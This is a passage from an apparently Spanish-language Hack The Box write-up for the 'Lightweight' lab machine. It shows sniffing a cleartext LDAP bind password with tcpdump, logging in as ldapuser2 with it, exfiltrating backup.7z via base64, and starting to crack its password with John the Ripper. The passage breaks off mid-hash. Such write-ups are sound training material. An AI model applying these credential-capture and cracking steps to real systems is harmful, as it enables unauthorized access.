</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 0185 9454 c131 93dd f581 4b1f  ...w...T.1....K.
</span></span><span style="display:flex;"><span>	0x0030:  a012 aaaa 2930 0000 0204 ffd7 0402 080a  ....)0..........
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8928 00b1 8928 0103 0306 0000 0000  ...(...(........
</span></span><span style="display:flex;"><span>	0x0050:  0000 0000 0000 0000 0000 0000            ............
</span></span><span style="display:flex;"><span>00:07:07.973805 IP (tos 0x0, ttl 64, id 49719, offset 0, flags [DF], proto TCP (6), length 52)
</span></span><span style="display:flex;"><span>    lightweight.htb.37972 &gt; lightweight.htb.ldap: Flags [.], cksum 0x2928 (incorrect -&gt; 0x0bd3), seq 1, ack 1, win 683, options [nop,nop,TS val 11634984 ecr 11634984], length 0
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 0034 c237 4000 4006 4f8b 0a0a 0a77  E..4.7@.@.O....w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 9454 0185 f581 4b1f c131 93de  ...w.T....K..1..
</span></span><span style="display:flex;"><span>	0x0030:  8010 02ab 2928 0000 0101 080a 00b1 8928  ....)(.........(
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8928 faba 0a59 0103 0306 0103 042d  ...(...Y.......-
</span></span><span style="display:flex;"><span>	0x0050:  7569 643d                                uid=
</span></span><span style="display:flex;"><span>00:07:07.973929 IP (tos 0x0, ttl 64, id 49720, offset 0, flags [DF], proto TCP (6), length 143)
</span></span><span style="display:flex;"><span>    lightweight.htb.37972 &gt; lightweight.htb.ldap: Flags [P.], cksum 0x2983 (incorrect -&gt; 0xb2b3), seq 1:92, ack 1, win 683, options [nop,nop,TS val 11634984 ecr 11634984], length 91
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 008f c238 4000 4006 4f2f 0a0a 0a77  E....8@.@.O/...w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 9454 0185 f581 4b1f c131 93de  ...w.T....K..1..
</span></span><span style="display:flex;"><span>	0x0030:  8018 02ab 2983 0000 0101 080a 00b1 8928  ....)..........(
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8928 3059 0201 0160 5402 0103 042d  ...(0Y...`T....-
</span></span><span style="display:flex;"><span>	0x0050:  7569 643d 6c64 6170 7573 6572 322c 6f75  uid=ldapuser2,ou
</span></span><span style="display:flex;"><span>	0x0060:  3d50 656f 706c 652c 6463 3d6c 6967 6874  =People,dc=light
</span></span><span style="display:flex;"><span>	0x0070:  7765 6967 6874 2c64 633d 6874 6280 2038  weight,dc=htb..8
</span></span><span style="display:flex;"><span>	0x0080:  6263 3832 3531 3333 3261 6265 3164 3766  bc8251332abe1d7f
</span></span><span style="display:flex;"><span>	0x0090:  3130 3564 3365 3533 6164 3339 6163 3200  105d3e53ad39ac2.
</span></span><span style="display:flex;"><span>	0x00a0:  0000 0000 0000 0000 0000 0000 0000 00    ...............
</span></span><span style="display:flex;"><span>00:07:07.973956 IP (tos 0x0, ttl 64, id 6902, offset 0, flags [DF], proto TCP (6), length 52)
</span></span><span style="display:flex;"><span>    lightweight.htb.ldap &gt; lightweight.htb.37972: Flags [.], cksum 0x2928 (incorrect -&gt; 0x0b78), seq 1, ack 92, win 683, options [nop,nop,TS val 11634984 ecr 11634984], length 0
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 0034 1af6 4000 4006 f6cc 0a0a 0a77  E..4..@.@......w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 0185 9454 c131 93de f581 4b7a  ...w...T.1....Kz
</span></span><span style="display:flex;"><span>	0x0030:  8010 02ab 2928 0000 0101 080a 00b1 8928  ....)(.........(
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8928 fab9 df09 0103 0306 0100 0400  ...(............
</span></span><span style="display:flex;"><span>	0x0050:  0400 0000                                ....
</span></span><span style="display:flex;"><span>00:07:07.998689 IP (tos 0x0, ttl 64, id 6903, offset 0, flags [DF], proto TCP (6), length 66)
</span></span><span style="display:flex;"><span>    lightweight.htb.ldap &gt; lightweight.htb.37972: Flags [P.], cksum 0x2936 (incorrect -&gt; 0xc7d0), seq 1:15, ack 92, win 683, options [nop,nop,TS val 11635009 ecr 11634984], length 14
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 0042 1af7 4000 4006 f6bd 0a0a 0a77  E..B..@.@......w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 0185 9454 c131 93de f581 4b7a  ...w...T.1....Kz
</span></span><span style="display:flex;"><span>	0x0030:  8018 02ab 2936 0000 0101 080a 00b1 8941  ....)6.........A
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8928 300c 0201 0161 070a 0100 0400  ...(0....a......
</span></span><span style="display:flex;"><span>	0x0050:  0400 2404 000a 0100 0a01 0002 0100 0201  ..$.............
</span></span><span style="display:flex;"><span>	0x0060:  6401                                     d.
</span></span><span style="display:flex;"><span>00:07:07.998730 IP (tos 0x0, ttl 64, id 49721, offset 0, flags [DF], proto TCP (6), length 52)
</span></span><span style="display:flex;"><span>    lightweight.htb.37972 &gt; lightweight.htb.ldap: Flags [.], cksum 0x2928 (incorrect -&gt; 0x0b38), seq 92, ack 15, win 683, options [nop,nop,TS val 11635009 ecr 11635009], length 0
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 0034 c239 4000 4006 4f89 0a0a 0a77  E..4.9@.@.O....w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 9454 0185 f581 4b7a c131 93ec  ...w.T....Kz.1..
</span></span><span style="display:flex;"><span>	0x0030:  8010 02ab 2928 0000 0101 080a 00b1 8941  ....)(.........A
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8941 3030 0201 0764 2b04 0030 2730  ...A00...d+..0&#39;0
</span></span><span style="display:flex;"><span>	0x0050:  2504 0b6f                                %..o
</span></span><span style="display:flex;"><span>00:07:08.001510 IP (tos 0x0, ttl 64, id 49722, offset 0, flags [DF], proto TCP (6), length 59)
</span></span><span style="display:flex;"><span>    lightweight.htb.37972 &gt; lightweight.htb.ldap: Flags [P.], cksum 0x292f (incorrect -&gt; 0xd6dd), seq 92:99, ack 15, win 683, options [nop,nop,TS val 11635012 ecr 11635009], length 7
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 003b c23a 4000 4006 4f81 0a0a 0a77  E..;.:@.@.O....w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 9454 0185 f581 4b7a c131 93ec  ...w.T....Kz.1..
</span></span><span style="display:flex;"><span>	0x0030:  8018 02ab 292f 0000 0101 080a 00b1 8944  ....)/.........D
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8941 3005 0201 0242 0006 0000 0000  ...A0....B......
</span></span><span style="display:flex;"><span>	0x0050:  0000 0000 0000 0000 0000 00              ...........
</span></span><span style="display:flex;"><span>00:07:08.001558 IP (tos 0x0, ttl 64, id 49723, offset 0, flags [DF], proto TCP (6), length 52)
</span></span><span style="display:flex;"><span>    lightweight.htb.37972 &gt; lightweight.htb.ldap: Flags [F.], cksum 0x2928 (incorrect -&gt; 0x0b2d), seq 99, ack 15, win 683, options [nop,nop,TS val 11635012 ecr 11635009], length 0
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 0034 c23b 4000 4006 4f87 0a0a 0a77  E..4.;@.@.O....w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 9454 0185 f581 4b81 c131 93ec  ...w.T....K..1..
</span></span><span style="display:flex;"><span>	0x0030:  8011 02ab 2928 0000 0101 080a 00b1 8944  ....)(.........D
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8941 00b1 8928 0103 0306 0100 0400  ...A...(........
</span></span><span style="display:flex;"><span>	0x0050:  0400 0000                                ....
</span></span><span style="display:flex;"><span>00:07:08.003363 IP (tos 0x0, ttl 64, id 6904, offset 0, flags [DF], proto TCP (6), length 52)
</span></span><span style="display:flex;"><span>    lightweight.htb.ldap &gt; lightweight.htb.37972: Flags [F.], cksum 0x2928 (incorrect -&gt; 0x0b27), seq 15, ack 100, win 683, options [nop,nop,TS val 11635014 ecr 11635012], length 0
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 0034 1af8 4000 4006 f6ca 0a0a 0a77  E..4..@.@......w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 0185 9454 c131 93ec f581 4b82  ...w...T.1....K.
</span></span><span style="display:flex;"><span>	0x0030:  8011 02ab 2928 0000 0101 080a 00b1 8946  ....)(.........F
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8944 0000 0000 0103 0307 0103 042d  ...D...........-
</span></span><span style="display:flex;"><span>	0x0050:  7569 643d                                uid=
</span></span><span style="display:flex;"><span>00:07:08.003406 IP (tos 0x0, ttl 64, id 49724, offset 0, flags [DF], proto TCP (6), length 52)
</span></span><span style="display:flex;"><span>    lightweight.htb.37972 &gt; lightweight.htb.ldap: Flags [.], cksum 0x2928 (incorrect -&gt; 0x0b25), seq 100, ack 16, win 683, options [nop,nop,TS val 11635014 ecr 11635014], length 0
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 0034 c23c 4000 4006 4f86 0a0a 0a77  E..4.&lt;@.@.O....w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 9454 0185 f581 4b82 c131 93ed  ...w.T....K..1..
</span></span><span style="display:flex;"><span>	0x0030:  8010 02ab 2928 0000 0101 080a 00b1 8946  ....)(.........F
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8946 3059 0201 0160 5402 0103 042d  ...F0Y...`T....-
</span></span><span style="display:flex;"><span>	0x0050:  7569 643d                                uid=
</span></span></code></pre></div><blockquote>
<p>ldapuser2 : 8bc8251332abe1d7f105d3e53ad39ac2</p>
</blockquote>
<p>Lo que logramos capturar fue bind login de LDAP. Al inicio creí que le había enviado un hash a la aplicación y perdí un buen rato tratando de romper el hash. Al final me di cuenta que como va a enviar un hash si se trata de ldap local&hellip; pero bueno, trate de hacer loggearme vía <code>su -</code> y funciono como era esperado:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[10.10.14.36@lightweight ~]$ su - ldapuser2
</span></span><span style="display:flex;"><span>Contraseña:
</span></span><span style="display:flex;"><span>Último inicio de sesión:vie nov 16 22:41:31 GMT 2018en pts/0
</span></span><span style="display:flex;"><span>[ldapuser2@lightweight ~]$ ls -lah
</span></span><span style="display:flex;"><span>total 1.9M
</span></span><span style="display:flex;"><span>drwx------.  4 ldapuser2 ldapuser2  197 Jun 21  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x. 12 root      root       195 May 19 05:24 ..
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 root      root      3.4K Jun 14  2018 backup.7z
</span></span><span style="display:flex;"><span>-rw-------.  1 ldapuser2 ldapuser2    0 Jun 21  2018 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 ldapuser2 ldapuser2   18 Apr 11  2018 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 ldapuser2 ldapuser2  193 Apr 11  2018 .bash_profile
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 ldapuser2 ldapuser2  246 Jun 15  2018 .bashrc
</span></span><span style="display:flex;"><span>drwxrwxr-x.  3 ldapuser2 ldapuser2   18 Jun 11  2018 .cache
</span></span><span style="display:flex;"><span>drwxrwxr-x.  3 ldapuser2 ldapuser2   18 Jun 11  2018 .config
</span></span><span style="display:flex;"><span>-rw-rw-r--.  1 ldapuser2 ldapuser2 1.5M Jun 13  2018 OpenLDAP-Admin-Guide.pdf
</span></span><span style="display:flex;"><span>-rw-rw-r--.  1 ldapuser2 ldapuser2 372K Jun 13  2018 OpenLdap.pdf
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 root      root        33 Jun 15  2018 user.txt
</span></span><span style="display:flex;"><span>[ldapuser2@lightweight ~]$
</span></span></code></pre></div><p>Vientos, ya hemos ingresado como ldapuser2.</p>
<h1 id="cat-usertext">cat user.text</h1>
<p>Esta ya se la saben, solo hagan <code>cat user.txt</code>.</p>
<h1 id="from-ldapuser2-to--">From ldapuser2 to &hellip; ?</h1>
<p>Una vez que entremos como ldapuser2, veremos que hay un archivo muy sospechoso llamada <em>backup.7z</em>. Analicemos fuera de la maquina este archivo. Para ello y para mi gusto, exportare el archivo via base64:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser2@lightweight ~]$ file backup.7z
</span></span><span style="display:flex;"><span>backup.7z: 7-zip archive data, version 0.4
</span></span><span style="display:flex;"><span>[ldapuser2@lightweight ~]$ base64 backup.7z
</span></span><span style="display:flex;"><span>N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI5s6D0e1KZKLpqLx2xZ2BYNO8O7/Zlc4Cz0MOpB
</span></span><span style="display:flex;"><span>lJ/010X2vz7SOOnwbpjaNEbdpT3wq/EZAoUuSypOMuCw8Sszr0DTUbIUDWJm2xo9ZuHIL6nVFlVu
</span></span><span style="display:flex;"><span>yJO6aEHwUmGK0hBZO5l1MHuY236FPj6/vvaFYDlkemrTOmP1smj8ADw566BEhL7/cyZP+Mj9uOO8
</span></span><span style="display:flex;"><span>yU7g30/qy7o4hTZmP4/rixRUiQdS+6Sn+6SEz9bR0FCqYjNHiixCVWbWBjDZhdFdrgnHSF+S6icd
</span></span><span style="display:flex;"><span>IIesg3tvkQFGXPSmKw7iJSRYcWVbGqFlJqKl1hq5QtFBiQD+ydpXcdo0y4v1bsfwWnXPJqAgKnBl
</span></span><span style="display:flex;"><span>uLAgdp0kTZXjFm/bn0VXMk4JAwfpG8etx/VvUhX/0UY8dAPFcly/AGtGiCQ51imhTUoeJfr7ICoc
</span></span><span style="display:flex;"><span>+6yDfqvwAvfr/IfyDGf/hHw5OlTlckwphAAW+na+Dfu3Onn7LsPw6ceyRlJaytUNdsP+MddQBOW8
</span></span><span style="display:flex;"><span>PpPOeaqy3byRx86WZlA+OrjcryadRVS67lJ2xRbSP6v0FhD/T2Zq1c+dxtw77X4cCidn8BjKPNFa
</span></span><span style="display:flex;"><span>NaH7785Hm2SaXbACY7VcRw/LBJMn5664STWadKJETeejwCWzqdv9WX4M32QsNAmCtlDWnyxIsea4
</span></span><span style="display:flex;"><span>I7Rgc088bzweORe2eAsO/aYM5bfQPVX/H6ChYbmqh2t0mMgQTyjKbGxinWykfBjlS7I3tivYE9HN
</span></span><span style="display:flex;"><span>R/3Nh7lZfd8UrsQ5GF+LiS3ttLyulJ26t01yzUXdoxHg848hmhiHvt5exml6irn1zsaH4Y/W7yIj
</span></span><span style="display:flex;"><span>AVo9cXgw8K/wZk5m7VHRhelltVznAhNetX9e/KJRI4+OZvgow9KNlh3QnyROc1QZJzcA5c6XtPqe
</span></span><span style="display:flex;"><span>49W0X4uBydWvFDbnD3Xcllc1SAe8rc3PHk+UMrKdVcIbWd5ZyTPQ2WsPO4n4ccFGkfqmPbO93lyn
</span></span><span style="display:flex;"><span>jyxHCDnUlpDYL1yDNNmoV69EmxzUwUCxCH9B0J+0a69fDnIocW+ZJjXpmGFiHQ6Z2dZJrYY9ma2r
</span></span><span style="display:flex;"><span>S6Bg7xmxij3CxkgVQBhnyFLqF7AaXFUSSc7yojSh0Kkb4EfgZnijXr5yVsypeRWQu/w37iANFz8c
</span></span><span style="display:flex;"><span>h6WFADkg/1L8OPdNqDwYKE2/Fx7aRfsMuo0+0J/J2elR/5WuizMm7E0s9uqsookEZKQk95cY8ES2
</span></span><span style="display:flex;"><span>t5A8D1EnRDMvYV+B56ll34H3iulQuY35EGYLTIW77ltrm06wYYaFMNHe4pIpasGODzCBBIg0EpWD
</span></span><span style="display:flex;"><span>sqf6iFcwOewBZXZCRQaIRkounbm/lIPRBYdaMNhV/mxleoHOUkKiqZiHvcHHhrV5FrA6DTzd3sGg
</span></span><span style="display:flex;"><span>qPlObZkm6/U0pbKPxKThaVaUGl64cY28oh2UZKSpcLd6WWdIPxNzxNwElnsWFk2dnvaCSs/LY+IJ
</span></span><span style="display:flex;"><span>EyNHErervIL1Yq6mXvOdK+9mCNiHzV/2eWaWelaKPcIfKK05PSqzyoX/e4fuvZf4DYeOYWEhu5QC
</span></span><span style="display:flex;"><span>DG+4DzeAxB26O0xMP87rqXSPTZpH00VLSRuVuv3e/QSvyLGSLkqHU0U505H7lItZ/MH1BywK88Ka
</span></span><span style="display:flex;"><span>+77Cbi39f8bU46Gf2zfNSTQrx+x1JrZZQpWzQf5qGipfOZ6trebcuE2H/TsAqbee9sEcwB9ZWKQ/
</span></span><span style="display:flex;"><span>vdJgLrELTdqjJ6wEPuAcRw0+0lGUiOgBgwQ/QZaPMig1d8tWFd4kFvy5p0sc4oJhT4GLxa3vDLHd
</span></span><span style="display:flex;"><span>brmNdKjYIU7Co2GyRrrWVrSH6NzkD0/vgIrYGMBu9aly4mFOUeawQPSRqS/znVVAjPkszA95fyfY
</span></span><span style="display:flex;"><span>wffFAEtWE6ZgtvMGukR7uZu+WkCNAOst1BJzUQl/IE6dJ3peuXMwo9NAnH4JehhjlUKxye/jXtob
</span></span><span style="display:flex;"><span>EsE0a8iBagQw9WaKOHNVZ7oJWAUE3oMbtjmrHefSr88uRwy97Slg8zAKyohEbM8PoncVZm5OtF/l
</span></span><span style="display:flex;"><span>1qekbEFNYeX7v9OExT6LrGgFCDFkMywr150FxNEENjd6NbhALhhu/YlZExQ3hAx7AQ1850Qj4Ivq
</span></span><span style="display:flex;"><span>gGOUFNvQwpDO1bsa31l7enYUHMFdPTBUvMTp3yNL5Bh3JVdmRehuDPubd2moze++xbCNT+2gTo/U
</span></span><span style="display:flex;"><span>N2MeGBrIne7JxUEFoyd2osuPBoF3qrw3U1nls4rk64zr8GaPXRBKXFkpyJDH0d4GlAY5Q7hEzY8n
</span></span><span style="display:flex;"><span>S29ry+AEs/5U5SkFIA5bAkoCSYofdndY6RBRbHwpWlUoAuR9aZzdmK3qB71PU/dFNCuZAGczm5oK
</span></span><span style="display:flex;"><span>KrDG6iwCEJYblsfCKy2qoyLef93JFSfRGMRdSioIosN6hae2ZatLpiW5gwGQhbMglseO2KdgyD+/
</span></span><span style="display:flex;"><span>bFgRt7FmgbCmFRNobWgQxy0PHDC3krGUikeK1mCkA2/NXb/FezUqIqTtJ9rx+EVaqdgaW4soKH/q
</span></span><span style="display:flex;"><span>Q0LBS9Qs8xWcgw0yLRZpWKbiM8p7ndKRT84fJiH5WZjoPfab7iL3CuCG8kJpBjH80zcwuy5a1k+n
</span></span><span style="display:flex;"><span>0Le5OTGVcxHuqptFOC0CDoWFbkVnEtpRqcIgIm0qF351jqa3YxZHzIQZ0E+2tdq0CoQbqdVmClUK
</span></span><span style="display:flex;"><span>yBevZ588GiZrnGVzcpiKs4z7aXFpXFm1RU/ffKEXAGa5nAbJhfuFZO7Uyq3gQO+TINUZgEGiv8Yr
</span></span><span style="display:flex;"><span>SyHrCAUgYo7TyMii/9jgBzskwgWYFdqG8baCYi5xQSSVD/Jq15vzGJczH8I80HX7H0giBGJzsImL
</span></span><span style="display:flex;"><span>68G6IxENdO1FnAwPEkiPC1ExD1nJ2uU3zdpaddSKSsVEUx+6kv1tuqAYyzzGnuS5hZ8/oeAi1IUL
</span></span><span style="display:flex;"><span>/Zla+p1wJzeJCE9ZVaMN88995/RcJgH+HuCtvInbvRqiO63N/MnZXiv9bxAskr0fuWSPRGqYqxYw
</span></span><span style="display:flex;"><span>IEn2hioNocdY0PCndj6awM3alL7Uf5gQP44GjNEryDu5or0r4ZWT1kovEDTNrW++5JhIils37+vP
</span></span><span style="display:flex;"><span>5mc5PPkcGk0ACC6oRj1X5pGg+zsjlAkNqwC7ANJ7QYsNsBcdp0ttMUt42VHsXsh+/4GACg9Bu16w
</span></span><span style="display:flex;"><span>HV0RYYNmfhdixKHRljHAWmHhvg8F5RiNon3xoNhpcRn74paT13bOUMeJajvFKIjr3OwFak1+Z1ry
</span></span><span style="display:flex;"><span>6o3iX1LgRw4FPdZhSzVIrQzSgqdtOXt+L+3JjZdQA70p/uvFPuW0EgiFmawgPLi2vh86BBRRE5Gz
</span></span><span style="display:flex;"><span>SV0XWz39p5kHUyVf8PE+uGzpe1xpJaoxhoUjwyVUhyAXnGng6N+EB/XofyY6zQJMxcT1p173pvwa
</span></span><span style="display:flex;"><span>O2UCV/yiCqAGdPNaB9rHJHG7tQAVK1Hf4XQ7eXrWERCqdrn+acCgJQa6Sm/AtKIC77nYjfujjltT
</span></span><span style="display:flex;"><span>UgRgIswXtXvbQBU9trl+LzRNLEWYwNAhBE7rAUI/b2reVwLhC2N4L+3duuuh3Z+XJes/hVhPziMZ
</span></span><span style="display:flex;"><span>skhR1+w7osJ3R0FoOzg+yXqtt8kS1lW25bFHwzuxhWYjuMoI8JLAZ31W4d3pmqMaswplTFeChTah
</span></span><span style="display:flex;"><span>ILTkg1ymx7WiJDvd+5oAdQUhx0ZUooHLEsgGQ3AwzVd5B6eX3GOjlZ1HtoEZoyoimJm+BreXnBSy
</span></span><span style="display:flex;"><span>yY51ZnuMXTDw3+3ZVTuolK2azaYvf2B7s1wIDDpEAQisDORfGHPFhzSI8pAXkLCMtJKJMqHEedid
</span></span><span style="display:flex;"><span>7V9s6fFsKX6dzDPGuIKybFO3pPKzkDZ+NuOEweuYBcBHGq1Pd0luj0/UR0SN1ZU2YppkXQSVb8ML
</span></span><span style="display:flex;"><span>zGhnGOjU18/J7L7zdFrwON5Vgm0yi3utSi63oQ+vCcBhj9kNGUHo4ydLzW6y2L7UMOv+boaCtgOQ
</span></span><span style="display:flex;"><span>15Fh86NJxz3lUtQPdCHlxLTegP6zmY60zm7K75vSdo6L5lNM0SrBY+cNPtI5Y4AcBHcGEMkfH/z0
</span></span><span style="display:flex;"><span>y98qcz9R5v1ZbIVcC5BYIqODioLqLQ5R3UQsRR0FxqobAJmIPbVDknwMxAFuJ7sbF/6GOuDBhFjt
</span></span><span style="display:flex;"><span>vM3WsV8Lc8PcjGcsG7vYHykOm7UpEZIUOUXVh1f2Ts7r2I5GfUi1SiXO5+11JjpLtdVZe5tbdbbC
</span></span><span style="display:flex;"><span>VPgYcfGCRtLZH2ZKD0nB9nlA15LSJScucTJZ8xNeXChuCBseIzH5IX3hwMkQnXqJhFi+haTBMOpu
</span></span><span style="display:flex;"><span>jA203F2/d9pQRffaZHxm5a9WdrsVIh1RUtpVGpOQ/akuNTn956+9BOLnEO8otdXlDy/awQbJoY7w
</span></span><span style="display:flex;"><span>JBT7Rm9Q9StuiOM2/+T6kp2VSGMPPX+31Q6lkLLjvcOojPnX9rMPB9KN3yjBXFNx6wAAgTMHrg/V
</span></span><span style="display:flex;"><span>sp0lFyTRz+QEKAUvF3aBjjc/V0Q4XUZ3BfKqlXszFWD9VOwoDdFrrQVyt1Xkpeghr98oqeM/tqsH
</span></span><span style="display:flex;"><span>a+cTU4KLtvE6dFAT+mBHorrZNMgAQ1QMjgI1JixeXRRvEIabAUKuuhy+yBzO20vtlnuPmOh3sgjI
</span></span><span style="display:flex;"><span>hYusiF1vL3ojt9qcVa4mCjTpus4e3vJ4gd6iWAt8KT2GmnPjb0+N+tYjcX9U/W/leRKQGX/USF7X
</span></span><span style="display:flex;"><span>WwZioJpI7t/uAAAAABcGjFABCYDAAAcLAQABIwMBAQVdABAAAAyBCgoBPiBwEwAA
</span></span></code></pre></div><p>Este machote de b64, lo grabamos como <code>backup.7z.b64</code> y lo reencodeamos localmente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ cat backup.7z.b64 | base64 -d &gt; backup2.7z
</span></span></code></pre></div><p>Como era de esperarse, el archivo <code>backup.7z</code> tiene password. Pero no hay problema, yo tengo un amigo que sabe romper contraseñas, se llama john:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ ~/git/JohnTheRipper/run/7z2john.pl backup2.7z | tee 7z.hash
</span></span><span style="display:flex;"><span>backup2.7z:$7z$2$19$0$$8$11e96ba400e3926d0000000000000000$1800843918$3152$3140$1ed4a64a2e9a8bc76c59d8160d3bc3bbfd995ce02cf430ea41949ff4d745f6bf3ed238e9f06e98da3446dda53df0abf11902852e4b2a4e32e0b0f12b33af40d351b2140d6266db1a3d66e1c82fa9d516556ec893ba6841f052618ad210593b9975307b98db7e853e3ebfbef6856039647a6ad33a63f5b268fc003c39eba04484beff73264ff8c8fdb8e3bcc94ee0df4feacbba388536663f8feb8b1454890752fba4a7fba484cfd6d1d050aa6233478a2c425566d60630d985d15dae09c7485f92ea271d2087ac837b6f9101465cf4a62b0ee225245871655b1aa16526a2a5d61ab942d1418900fec9da5771da34cb8bf56ec7f05a75cf26a0202a7065b8b020769d244d95e3166fdb9f4557324e090307e91bc7adc7f56f5215ffd1463c7403c5725cbf006b46882439d629a14d4a1e25fafb202a1cfbac837eabf002f7ebfc87f20c67ff847c393a54e5724c29840016fa76be0dfbb73a79fb2ec3f0e9c7b246525acad50d76c3fe31d75004e5bc3e93ce79aab2ddbc91c7ce9666503e3ab8dcaf269d4554baee5276c516d23fabf41610ff4f666ad5cf9dc6dc3bed7e1c0a2767f018ca3cd15a35a1fbefce479b649a5db00263b55c470fcb049327e7aeb849359a74a2444de7a3c025b3a9dbfd597e0cdf642c340982b650d69f2c48b1e6b823b460734f3c6f3c1e3917b6780b0efda60ce5b7d03d55ff1fa0a161b9aa876b7498c8104f28ca6c6c629d6ca47c18e54bb237b62bd813d1cd47fdcd87b9597ddf14aec439185f8b892dedb4bcae949dbab74d72cd45dda311e0f38f219a1887bede5ec6697a8ab9f5cec687e18fd6ef2223015a3d717830f0aff0664e66ed51d185e965b55ce702135eb57f5efca251238f8e66f828c3d28d961dd09f244e735419273700e5ce97b4fa9ee3d5b45f8b81c9d5af1436e70f75dc9657354807bcadcdcf1e4f9432b29d55c21b59de59c933d0d96b0f3b89f871c14691faa63db3bdde5ca78f2c470839d49690d82f5c8334d9a857af449b1cd4c140b1087f41d09fb46baf5f0e7228716f992635e99861621d0e99d9d649ad863d99adab4ba060ef19b18a3dc2c64815401867c852ea17b01a5c551249cef2a234a1d0a91be047e06678a35ebe7256cca9791590bbfc37ee200d173f1c87a585003920ff52fc38f74da83c18284dbf171eda45fb0cba8d3ed09fc9d9e951ff95ae8b3326ec4d2cf6eaaca2890464a424f79718f044b6b7903c0f512744332f615f81e7a965df81f78ae950b98df910660b4c85bbee5b6b9b4eb061868530d1dee292296ac18e0f3081048834129583b2a7fa88573039ec01657642450688464a2e9db9bf9483d105875a30d855fe6c657a81ce5242a2a99887bdc1c786b57916b03a0d3cdddec1a0a8f94e6d9926ebf534a5b28fc4a4e16956941a5eb8718dbca21d9464a4a970b77a5967483f1373c4dc04967b16164d9d9ef6824acfcb63e20913234712b7abbc82f562aea65ef39d2bef6608d887cd5ff67966967a568a3dc21f28ad393d2ab3ca85ff7b87eebd97f80d878e616121bb94020c6fb80f3780c41dba3b4c4c3fceeba9748f4d9a47d3454b491b95bafddefd04afc8b1922e4a87534539d391fb948b59fcc1f5072c0af3c29afbbec26e2dfd7fc6d4e3a19fdb37cd49342bc7ec7526b6594295b341fe6a1a2a5f399eadade6dcb84d87fd3b00a9b79ef6c11cc01f5958a43fbdd2602eb10b4ddaa327ac043ee01c470d3ed2519488e80183043f41968f32283577cb5615de2416fcb9a74b1ce282614f818bc5adef0cb1dd6eb98d74a8d8214ec2a361b246bad656b487e8dce40f4fef808ad818c06ef5a972e2614e51e6b040f491a92ff39d55408cf92ccc0f797f27d8c1f7c5004b5613a660b6f306ba447bb99bbe5a408d00eb2dd4127351097f204e9d277a5eb97330a3d3409c7e097a18639542b1c9efe35eda1b12c1346bc8816a0430f5668a38735567ba09580504de831bb639ab1de7d2afcf2e470cbded2960f3300aca88446ccf0fa27715666e4eb45fe5d6a7a46c414d61e5fbbfd384c53e8bac6805083164332c2bd79d05c4d10436377a35b8402e186efd8959131437840c7b010d7ce74423e08bea80639414dbd0c290ced5bb1adf597b7a76141cc15d3d3054bcc4e9df234be4187725576645e86e0cfb9b7769a8cdefbec5b08d4feda04e8fd437631e181ac89deec9c54105a32776a2cb8f068177aabc375359e5b38ae4eb8cebf0668f5d104a5c5929c890c7d1de0694063943b844cd8f274b6f6bcbe004b3fe54e52905200e5b024a02498a1f7677